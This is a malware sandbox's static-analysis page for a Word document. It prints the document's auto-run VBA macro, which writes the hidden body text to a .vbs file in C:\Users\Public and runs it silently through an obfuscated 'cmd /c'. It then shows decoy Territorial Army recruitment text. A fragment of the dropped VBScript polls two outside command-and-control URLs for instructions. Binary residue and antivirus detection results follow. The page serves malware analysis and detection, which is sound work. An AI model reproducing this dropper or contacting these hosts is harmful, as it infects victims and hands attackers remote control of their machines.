Static | ZeroBOX

Original


                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub test()
    On Error Resume Next
    Dim directoryPath As String
    Dim fileNamePattern As String
    Dim filePath As String
    Dim NewText As String
    Dim filePathPage1 As String
    Dim fileNumberPage1 As Integer
    Dim entireContent As String
    Dim newFilePath As String
    directoryPath = "C:\Users\Public\"
    fileNamePattern = "win*"
    filePath = Dir(directoryPath & fileNamePattern)
    If filePath <> "" Then
        ActiveDocument.content.Delete
 NewText = "" & vbCrLf & _
              "Territorial Army Recruitment 2023 Apply Online Link" & vbCrLf & _
              "The selection process includes a written test (Paper 1 and Paper 2), followed by an interview, SSB process, and a medical examination." & vbCrLf & _
              "Candidates can check Territorial Army Exam Date 2023 at official website" & vbCrLf & _
              "All interested candidates can download the Application Form (IAF (TA)-9 (Revised) Part – 1 & 2) from www.jointerritorialarmy.gov.in"
    Selection.TypeText NewText
    Else
       av = "c"
ActiveDocument.Range.Select
bv = "M"
entireContent = Selection.Text
cd = "d"
filePathPage1 = "C:\Users\Public\window.txt"
fileNumberPage1 = FreeFile
Open filePathPage1 For Output As fileNumberPage1
Print #fileNumberPage1, entireContent
' Close the file
Close fileNumberPage1
' Create the new file path with the desired extension
newFilePath = Replace(filePathPage1, ".txt", ".vbs")
' Rename the file
Name filePathPage1 As newFilePath
Shell av & bv & cd & " /c " & newFilePath, 0
 ActiveDocument.content.Delete
 NewText = "" & vbCrLf & _
              "Territorial Army Recruitment 2023 Apply Online Link" & vbCrLf & _
              "The selection process includes a written test (Paper 1 and Paper 2), followed by an interview, SSB process, and a medical examination." & vbCrLf & _
              "Candidates can check Territorial Army Exam Date 2023 at official website" & vbCrLf & _
              "All interested candidates can download the Application Form (IAF (TA)-9 (Revised) Part – 1 & 2) from www.jointerritorialarmy.gov.in"
    Selection.TypeText NewText
    End If
On Error GoTo 0
End Sub
Private Sub Document_Open()
test
End Sub





                                    

Deobfuscated


                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub test()
    On Error Resume Next
    Dim directoryPath As String
    Dim fileNamePattern As String
    Dim filePath As String
    Dim NewText As String
    Dim filePathPage1 As String
    Dim fileNumberPage1 As Integer
    Dim entireContent As String
    Dim newFilePath As String
    directoryPath = "C:\Users\Public\"
    fileNamePattern = "win*"
    filePath = Dir(directoryPath & fileNamePattern)
    If filePath <> "" Then
        ActiveDocument.content.Delete
 NewText = "" & vbCrLf & _
              "Territorial Army Recruitment 2023 Apply Online Link" & vbCrLf & _
              "The selection process includes a written test (Paper 1 and Paper 2), followed by an interview, SSB process, and a medical examination." & vbCrLf & _
              "Candidates can check Territorial Army Exam Date 2023 at official website" & vbCrLf & _
              "All interested candidates can download the Application Form (IAF (TA)-9 (Revised) Part – 1 & 2) from www.jointerritorialarmy.gov.in"
    Selection.TypeText NewText
    Else
       av = "c"
ActiveDocument.Range.Select
bv = "M"
entireContent = Selection.Text
cd = "d"
filePathPage1 = "C:\Users\Public\window.txt"
fileNumberPage1 = FreeFile
Open filePathPage1 For Output As fileNumberPage1
Print #fileNumberPage1, entireContent
' Close the file
Close fileNumberPage1
' Create the new file path with the desired extension
newFilePath = Replace(filePathPage1, ".txt", ".vbs")
' Rename the file
Name filePathPage1 As newFilePath
Shell av & bv & cd & " /c " & newFilePath, 0
 ActiveDocument.content.Delete
 NewText = "" & vbCrLf & _
              "Territorial Army Recruitment 2023 Apply Online Link" & vbCrLf & _
              "The selection process includes a written test (Paper 1 and Paper 2), followed by an interview, SSB process, and a medical examination." & vbCrLf & _
              "Candidates can check Territorial Army Exam Date 2023 at official website" & vbCrLf & _
              "All interested candidates can download the Application Form (IAF (TA)-9 (Revised) Part – 1 & 2) from www.jointerritorialarmy.gov.in"
    Selection.TypeText NewText
    End If
On Error GoTo 0
End Sub
Private Sub Document_Open()
test
End Sub





                                    
bjbjY.Y.
Option Explicit: Dim url, responseText, urls, success, lastProcessedResponse: urls = Array("https://configure.syscatec.com/tp.php?key=xvnd54", "https://apsdighi.estttsec.in/lp.php?key=xvnd54"): Dim objHTTP: Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP"): On Error Resume Next: Do: For Each url In urls: objHTTP.Open "GET", url, False: objHTTP.setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3": objHTTP.setTimeouts 5000, 20000, 15000, 15000: objHTTP.send: If objHTTP.status = 200 Then: Do: WScript.Sleep 5000: objHTTP.Open "GET", url, False: objHTTP.setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3": objHTTP.setTimeouts 5000, 20000, 15000, 15000: objHTTP.send: If objHTTP.status = 200 Then: responseText = objHTTP.responseText: If Len(responseText) = 0 Then: WScript.Sleep 5000: Else: If responseText = lastProcessedResp
IDATx^
qY)YwJ
o]-*sR
^uCNaerV
9)J}cs
c^W{+\
zqNae~
8.e#!P
oWS0'4J
Ail~x!
G|`LvnQ%Y
a8pJR[(1)
;3Jm}SxB
LSl97u
%EL|FL
2qeU=TC
z^EaiUqy
qtrKay
`u`ckN
:^D@GeD.
N2]~D":
{& ^RU
50Q' X
N.@[L>]
GeNjyNEeN
eDz,>'L
B()n2:
_,=_8<!
B>?_XM|
ngNp!t
SJv)r?
{`N85P}
({SrQY
~JViM]SN
`W?/v@t
mBFQpl
p`F^9z
nU]IEMa
z%>_`g
oAe@d&
yfnyrV
a]}SIEu~
-* >2Z
N5g~.{
^jKC/X
4)2[5$%c@
6![sx+
2ogo2'h
ubmOQT
`NL6}
|;tLq8
wvHz^gt
;}4M=x
,0oLJAG
>`KrhX
1:j]q
YQlN'|
[)-ip|
gN(Ee
qVEOF70
7}tM&m
+u6x@2
v1K:FV
"sZy44
IE2:w%
%wkwYD!5J{
[9sjW}
HU9sBe
&;-"AAHT
,L)aLx
>l6>r)
9AY|Xu<
x-gN\Y
ztJbh`
xj! Y"
Eq8$C>
"j#2"|#
H)\SG!
7sm~^d?
Rt?s*.
2'Qz>sR
)^eN*T
P.IDWJIE
mrBQ0'
J*z,~[
AeU}lJ
$J72'4:
U7`V=@
#oc^$#
\&1Eh}
[\IkaN
Lr`lvFnyNAe6G
e$d]w
{0Qnj&
7`<Cs5
Z|:"3&
~Q7~Xh
$DrEn|
+7)#m?/v
4BaL- ;c
-tT]#[
Z9AE-"
sWYO;
%kJt&1KBB
[b>%dnu*
E)2:1P
',IM64
`DXcLK
q!h+\$f
6TGU&N
'{a7,I
q'5&m:
c=u+,
^!fqk(G
aN9qscN
IK39u
`XC8~
W:l?p
(MzR?_
)1Z>##
[-qZ$S
*z,2h])
tY:+l@
kSIe#%G
4B4Drf
aN9qscN
6u]>+M
V~/?S1~u
OIDATR
<"&yxL2
FfO);s
5~P\eU+
g+vJH5
rcN_5
L/9^et}n
?=sR&->2
qp8aND
HCCvR8a
w8}'7@
C,I1F
"i14LuH
1Q?a:,zM
>8p~aSw
zGUd\^
2dNU{67
4JeN%Z
['DN81%
9GN_A
ad^Oug
mW"W/4b
Rm&2uU4
D`paNP
As)c,@-
ftcNt
ecE1:.E
=G/b@49|
Mm~04X
V9p~!Qf
Hj\W4W
,cAE!X
Q[UuA2
C0xije
Y@IF]
H=d,`;j
Ky;tsV[6S
@H1WImO
3T1WyK
2,oG6*Z{
GvdfX@G-
5{Nwu?'Z
([e6sS
incNw~
P=rcNA
'x9C3*6
$dA1l(
$n'&RL
?l%{`N]
jfa~c
<x~DLJ
WW=cH]
'n->,i
![80-B
>l<5cP$
tSdjf%
4>S`N5
7kGD/*
!O&0F}
7kED%eN
:F-~7O
4N8)(4
wPRO8=gR}
hX%}rS
;u'>/F
zFC"cl
2'),X;N
?Y[zqk
=z<;a?U(
0'}F!)s
E_SB_R
u'RK{'W
)%GJ4n
'C?)sz
u`NYBF
uAa%%)1'
\*%>/_
[9>!>Y2y
O4#3rT
KA!>d#
`osW`
-()t$8
O]m<p)q
UN"Gu@
_(-C+0Au
UMdDw{
#1|Ewe@
bSSFkM
(Fgz4\
jHK/+z
Urh3oDFQ.
HD@y@w
-n{O%#6`,
N8YXXXXXX
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
,,,,,,,,
[Content_Types].xml
_rels/.rels
theme/theme/themeManager.xml
theme/theme/theme1.xml
PxzSq]y<u
b!e9#i
theme/theme/_rels/themeManager.xml.rels
K(M&$R(.1
[Content_Types].xmlPK
_rels/.relsPK
theme/theme/themeManager.xmlPK
theme/theme/theme1.xmlPK
theme/theme/_rels/themeManager.xml.relsPK
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>
Normal.dotm
Microsoft Office Word
Project
\G{00020
0046}#
2.0#0#C:
\Windows
\System3
e2.tlb
#OLE Aut
omation
ENormal
!Offic
DF8D04C-
5BFA-101@B-BDE5
ram File
s\Common
Microso
ft Share
d\OFFICE
16\MSO.D
M 16 .0 Ob
ibrary
BeThisDo
cumentG
*\CNormalrU@
ThisDocument
Project
C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL
C:\Program Files\Microsoft Office\root\Office16\MSWORD.OLB
C:\Windows\System32\stdole2.tlb
stdole
C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL
Office
Document
Document_Open
VBE7.DLL
ID="{00000000-0000-0000-0000-000000000000}"
Document=ThisDocument/&H00000000
HelpFile=""
Name="Project"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="31339DDBA1DBA1DFA5DFA5"
DPB="DCDE7021B0D1CDD1CD2E33D2CD391D0B7A7F03DB15711C9CB8AFBA675AD712A9A0E9BC7F8252"
GC="87852B9A7DEE29EF29EF29"
[Host Extender
ame th
se the
C:\Users\Public\window.txt'
Close the file
Create the new file path with the desired extension
Territorial Army Recruitment 2023 Apply Online Link
The selection process includes a written test (Paper 1 and Paper 2), followed by an interview, SSB process, and a medical examination.
Candidates can check Territorial Army Exam Date 2023 at official website
All interested candidates can download the Application Form (IAF (TA)-9 (Revised) Part
1 & 2) from www.jointerritorialarmy.gov.in
Rename the file
the d
C:\Users\Public\'
Territorial Army Recruitment 2023 Apply Online Link
The selection process includes a written test (Paper 1 and Paper 2), followed by an interview, SSB process, and a medical examination.
Candidates can check Territorial Army Exam Date 2023 at official website
All interested candidates can download the Application Form (IAF (TA)-9 (Revised) Part
1 & 2) from www.jointerritorialarmy.gov.in
Attribut
e VB_Nam
e = "Thi
sDocumen
1Normal
VGlobal!
Pre decla
lateDeri
$Custom
test()
On Err@or Res
directo
ryPath AHs S
N umber
{@0$Co
\Users\P
ublic\
@= Dir(
> "" The
7.Dele
vbCrLf
xial Ar
2023 A
pply Onl
ine Linka]
n proces
s includ@es a w
er 1 and
2), fo
view, (SSB
a medic
aminatio
s can ch
eck Tm!E
#!at o
ffica%web
wnload tO@&
(IAF (TA
)-9 (Rev
)@$rt
%& 2) fr
om www.j,oi@\F9a 9.g
.TypebndoCBFEb
MRange.
cH|=@ FreeF
& O0utpuB}
Hens S
1& " /
bH"niRe
Win64x
Project1
stdole
Project-
ThisDocument<
_Evaluate
Normal
Office
Documentj
filePathPage1
entireContent]
newFilePath
directoryPath+
ActiveDocument
SelectionZ
vbDirectoryg
fileNumberPage1/C
Replacef
ShellV
content
Delete
NewText_
vbCrLf
TypeText
Document_Open
Document_Close7\
ReadAndExecuteTable1Content&
table1j
cellContentPage11<
cellContentPage22<
filePathPage2
Tables
Count0v
CleanContent
WriteContentToFile#
ExecuteScript9
MsgBox
filePath
fileNumber
InlineShape
vbHide
InlineShapes
wdInlineShapePictureDq
inputContent
cleanedContent
CreateScheduledTask
scheduler
TaskScheduler
rootFolder
ITaskFolder
ITaskDefinition
taskName_
programPath=p
Connect\
GetFoldern
NewTask9
RegistrationInfo
Description
trigger
ITrigger~
Triggers
Create
MinutesIntervalq
action
IExecActionZ7
Actions
RegisterTaskDefinition
ReadTable1ContentInWord
Sections
_B_var_CleanContentkw
SearchAndCreateFile
fileNamePattern
_B_var_NewText
_B_var_av8
_B_var_bv]
_B_var_cdp
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
ThisDocument=32, 32, 1420, 679,
ThisDocument
Microsoft Word 97-2003 Document
MSWordDoc
Word.Document.8
Normal
Default Paragraph Font
Table Normal
No List
"Picture 1
Project.ThisDocument.test
'Project.ThisDocument.WriteContentToFile
"Project.ThisDocument.ExecuteScript
!Project.ThisDocument.CleanContent
PROJECT.THISDOCUMENT.TEST
!PROJECT.THISDOCUMENT.CLEANCONTENT
"PROJECT.THISDOCUMENT.EXECUTESCRIPT
'PROJECT.THISDOCUMENT.WRITECONTENTTOFILE
Unknown
Times New Roman
Symbol
Calibri
Calibri Light
Cambria Math
Root Entry
1Table
WordDocument
SummaryInformation
DocumentSummaryInformation
Macros
__SRP_0
__SRP_1
__SRP_2
C:\Users\Public\
Territorial Army Recruitment 2023 Apply Online Link*
The selection process includes a written test (Paper 1 and Paper 2), followed by an interview, SSB process, and a medical examination.&
Candidates can check Territorial Army Exam Date 2023 at official website
All interested candidates can download the Application Form (IAF (TA)-9 (Revised) Part
1 & 2) from www.jointerritorialarmy.gov.in
C:\Users\Public\window.txt
__SRP_3
ThisDocument
_VBA_PROJECT
PROJECT
(1Normal.ThisDocument
$*\Rffff*0w678aea5b
*\R1*#17b
*\R0*#17
*\R0*#12
*\R0*#f
*\R1*#129
*\R0*#e
*\R1*#d4
*\R1*#c6
*\R1*#c1
*\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL#Visual Basic For Applications
*\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\Program Files\Microsoft Office\root\Office16\MSWORD.OLB#Microsoft Word 16.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\System32\stdole2.tlb#OLE Automation
*\CNormal
*\CNormal
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL#Microsoft Office 16.0 Object Library
ThisDocument
0w678aea5b
ThisDocument
tThisDocument
PROJECTwm
CompObj
Antivirus Signature
Bkav Clean
Lionic Trojan.MSWord.Amphitryon.4!c
Elastic malicious (high confidence)
MicroWorld-eScan VBA:Amphitryon.1635
CMC Clean
CAT-QuickHeal Clean
Skyhigh BehavesLike.OLE2.Downloader.cb
McAfee Clean
Malwarebytes Clean
VIPRE VBA:Amphitryon.1635
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
Arcabit VBA:Amphitryon.D663
BitDefenderTheta Clean
VirIT Clean
Symantec Trojan.Gen.MBT
ESET-NOD32 VBA/TrojanDropper.Agent.CXV
Cynet Malicious (score: 99)
TrendMicro-HouseCall Clean
Avast Script:SNH-gen [Trj]
ClamAV Clean
Kaspersky HEUR:Trojan.MSOffice.SAgent.gen
BitDefender VBA:Amphitryon.1635
NANO-Antivirus Trojan.Ole2.Vbs-heuristic.druvzi
ViRobot Clean
Rising Dropper.Agent/VBA!8.11766 (TOPIS:E0:9ddheGUZbPN)
TACHYON Suspicious/W97M.DRP.Gen
Sophos Clean
Baidu Clean
F-Secure Malware.W97M/Redcap.qbumx
DrWeb Exploit.Siggen3.44322
Zillya Clean
TrendMicro Clean
Emsisoft VBA:Amphitryon.1635 (B)
Ikarus VBA.Amphitryon
Jiangmin Clean
Varist ABRisk.LJPV-11
Avira W97M/Redcap.qbumx
Antiy-AVL Trojan[Downloader]/MSOffice.Agent
Kingsoft Win32.Troj.Undef.a
Gridinsoft Clean
Xcitium Clean
Microsoft Trojan:Win32/Leonem
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Trojan.MSOffice.SAgent.gen
GData VBA:Amphitryon.1635
Google Detected
AhnLab-V3 Clean
Acronis Clean
MAX malware (ai score=89)
Zoner Clean
Tencent Win32.Trojan.Malware.Szfl
Yandex Clean
SentinelOne Static AI - Suspicious OLE
MaxSecure Clean
Fortinet Clean
AVG Script:SNH-gen [Trj]
Panda Clean
No IRMA results available.